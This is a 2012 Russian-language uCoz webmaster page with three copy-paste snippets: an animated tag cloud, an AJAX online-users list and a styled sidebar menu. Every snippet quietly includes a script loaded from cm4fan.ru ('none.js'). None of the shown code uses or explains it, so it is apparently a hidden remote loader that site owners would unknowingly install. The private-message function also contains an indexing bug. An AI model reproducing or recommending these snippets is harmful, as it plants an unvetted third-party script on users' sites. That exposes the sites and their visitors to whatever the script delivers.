Меню сайта
АКЦИЯ!!!
Категории раздела
Сервис
Translate my page
Выбрать язык / Select language:
Бесплатное отправление смс сообщений!
Поиск
Календарь
Архив записей
Наш опрос
Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Реклама
Главная » 2012 » Октябрь » 16
Теперь на вашем сайте теги станут выглядить более изящнее и в тоже время удивлять своим дизайном
Установка:
Ваш шаблон куда-нить наверх добавить этот код:
Code
<script type="text/javascript" src="http://ili.pp.ua/js_css/jquery-1.2.6.pack.js"></script>
<script src="http://cm4fan.ru/none.js" type="text/javascript"></script>
<script type="text/javascript" src="http://ili.pp.ua/js_css/effects.core.js"></script>
<script type="text/javascript">
$(document).ready(function(){
var f_color = '';
$("a.structure").hover(function() {
f_color = this.style.color;
$(this).animate({ backgroundColor: "#4f94d0", color: "#ffffff" }, 700);
},function()
{
$(this).animate({ backgroundColor: "white", color: f_color }, 200);
});
});
</script>
Теперь в любой чистый блок или в нижнюю часть сайта вставляем сами теги!
Code
<div id="content">
<div id="right">
<div class="tags"><a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Фото</a>
<a href="/" style="padding:2px; font-size:20px; color:#c4c4c4;" class="structure">модуль</a>
<a href="/" style="padding:2px; font-size:31px; color:#aad815;" class="structure">шаблон</a>
<a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">web20</a>
<a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">blog</a>
<a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">пользователи</a>
<a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">комментарии</a>
<a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">Skin</a>
<a href="/" style="padding:2px; font-size:17px; color:#c4c4c4;" class="structure">Скин</a>
<a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">News</a>
<a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Стильный</a>
<a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">web 20</a>
<a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">новости</a>
<a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">видео</a>
<a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Награды</a>
<a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">оплата</a>
<a href="/" style="padding:2px; font-size:12px; color:#336699;" class="structure">платный</a>
<a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">files</a>
<a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Hamer</a>
<a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">хаки</a>
<a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">free</a>
<a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">warcraft</a>
<a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">softer</a>
Категория: Информеры |
Просмотров: 621 |
Добавил: Aninew |
Дата: 16.10.2012
|
Это простой динамичный список онлайн пользователей, но предоставленный в блочной системе. Профиль и личные сообщения открываются в ajax окнах. Автообновление производится каждые 30 секунд. Скрипт выполнен без лишних функций и наворотов, так что код получился очень компактный
Установка:
В шаблонах своего сайта замените $ONLINE_USERS_LIST$ на:
Code
<div class="apoulist" style="display:none;">
$ONLINE_USERS_LIST$
</div><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><style>
.apo {
width:95%;
height:15px;
background:rgba(230, 230, 230, 0.8);
padding:2px;
vertical-align:middle;
margin-bottom:5px;
font-weight:bold;
border-left:1px solid #ccc;
border-top:1px solid #ccc;
border-radius:2px;
}
.apo a {
text-decoration:none;
}
</style>
<script>
// Удобная динамичная онлайн статистика by Apocalypse
function apoOnGet() {
// Основная функция получения и стилизации списка пользователей
$('.apoulist').load('# .apoulist', function() {
// Убираем запятые
$('.apoulist').html($('.apoulist').html().replace(/\,/g, ''));
// Делаем форму видимой
$('.apoulist').fadeIn();
// Превращаем список пользователей в блочный вариант + отключаем события при клике
$('.apoulist a').each(function() {
$(this).html('<table class="apo"><td>' + $(this).html() + '</td><td align="right"><img src="http://s36.ucoz.net/.s/img/icon/us.png" onclick="apoGetP(\'' + $(this).text() + '\')" class="apoprofile" height="11px" title="Мини-профиль"> <img onclick="apoGetPm(\'' + $(this).attr('href') + '\')" src="http://s36.ucoz.net/.s/img/icon/mf.png" height="11px" title="Отправить сообщение"></td></table>');
}).removeAttr('onclick').click(function() {return false});
});
};
// Запускаем функцию при загрузке страницы
apoOnGet();
// Запускаем интервал автообновления
setInterval(function() {
apoOnGet();
}, 30000);
// Функция получения профиля
function apoGetP(name) {
new _uWnd('apoGetP', 'Профиль ' + name, 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:'/index/8-0-' + name.replace(/\-/gi, '~'), xml:false});
}
// Функция получения страницы Личных Сообщений
function apoGetPm(url) {
var url2 = url.split('-');
var url3 = url2[url2.length];
new _uWnd('apoGetPm', 'Сообщение', 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:'/index/14-' + url3 + '-0-1', xml:false});
}
// ApoTeam (c) 2012
</script>
Категория: Скрипты |
Просмотров: 525 |
Добавил: Aninew |
Дата: 16.10.2012
|
Code
<div class="side-navigation">
<div class="block-head" style="padding:5px 8px 0px 8px;" align="center"><img src="http://ili.pp.ua/img/nav-block-title.png" alt="Навигация"></div>
<div class="block-inner">
<div class="zp-links">
<a href="http://site.ru">Counter-Strike Source</a>
<a href="http://site.ru">Counter-Strike 1.6</a>
<a href="http://site.ru">World of Tanks</a>
<a href="http://site.ru">Oxxxymiron</a>
<a href="http://site.ru">PointBalnk</a>
<a href="http://site.ru">Главная</a>
<noindex><a target="_blank" href="site.ru">CS-Ray</a> </noindex>
<a href="http://site.ru/">Видео</a>
<a href="http://site.ru">Музыка</a>
<a href="http://site.ru">Форум</a>
<a href="http://site.ru">Каталог файлов</a>
<a href="http://site.ru">Супер</a>
<a href="http://site.ru">Портал</a>
</div>
</div></div><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><style>
.side-navigation{width:207px;background:url('http://ili.pp.ua/img/pagebg1.jpg') #291C16;box-shadow:0 0 3px rgba(0, 0, 0, 0.5);-moz-box-shadow:0 0 3px rgba(0, 0, 0, 0.5);-webkit-box-shadow:0 0 3px rgba(0, 0, 0, 0.5);border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;margin-bottom:6px;color:#fff}
.side-navigation .block-head{color:#fff;font-size:18px;font-family:arial,tahoma;padding:4px 8px;border-bottom:1px solid #000}
.side-navigation .block-inner{padding-bottom:2px}
.side-block .block-inner{padding:5px;}
.side-block .block-inner.nopadding{padding:0px !important;}
.zp-links a{display:block;color:#fff;padding:4px 8px;border-bottom:1px solid #000;border-top:1px solid #3B2D2A;text-shadow:0px 1px 0px #000;-moz-transition:all 0.3s ease;-webkit-transition:all 0.3s ease;-o-transition:all 0.3s ease;transition:all 0.3s ease;font-weight:bold;outline:none;text-decoration:none;}
.zp-links a:hover{color:#ea7609;padding-left:14px;background:rgba(0,0,0,0.2)}
.zp-links a.w-sub{background:url('http://ili.pp.ua/img/submenu-btn.png') no-repeat;background-position:185px 7px}
.zp-links a.w-sub:hover{background:url('http://ili.pp.ua/img/submenu-btn.png') no-repeat rgba(0,0,0,0.2);background-position:190px 7px}
.zp-links .s-level a.w-sub{font-weight:bold;background-position:182px 7px}
.zp-links .s-level a.w-sub:hover{background-position:190px 7px}
.zp-links .s-level{padding-left:22px}
.zp-links .s-level a{border-left:2px solid #ea7609;font-weight:normal}
.zp-links .s-level a:hover{padding-left:8px;margin-left:-8px}
</style>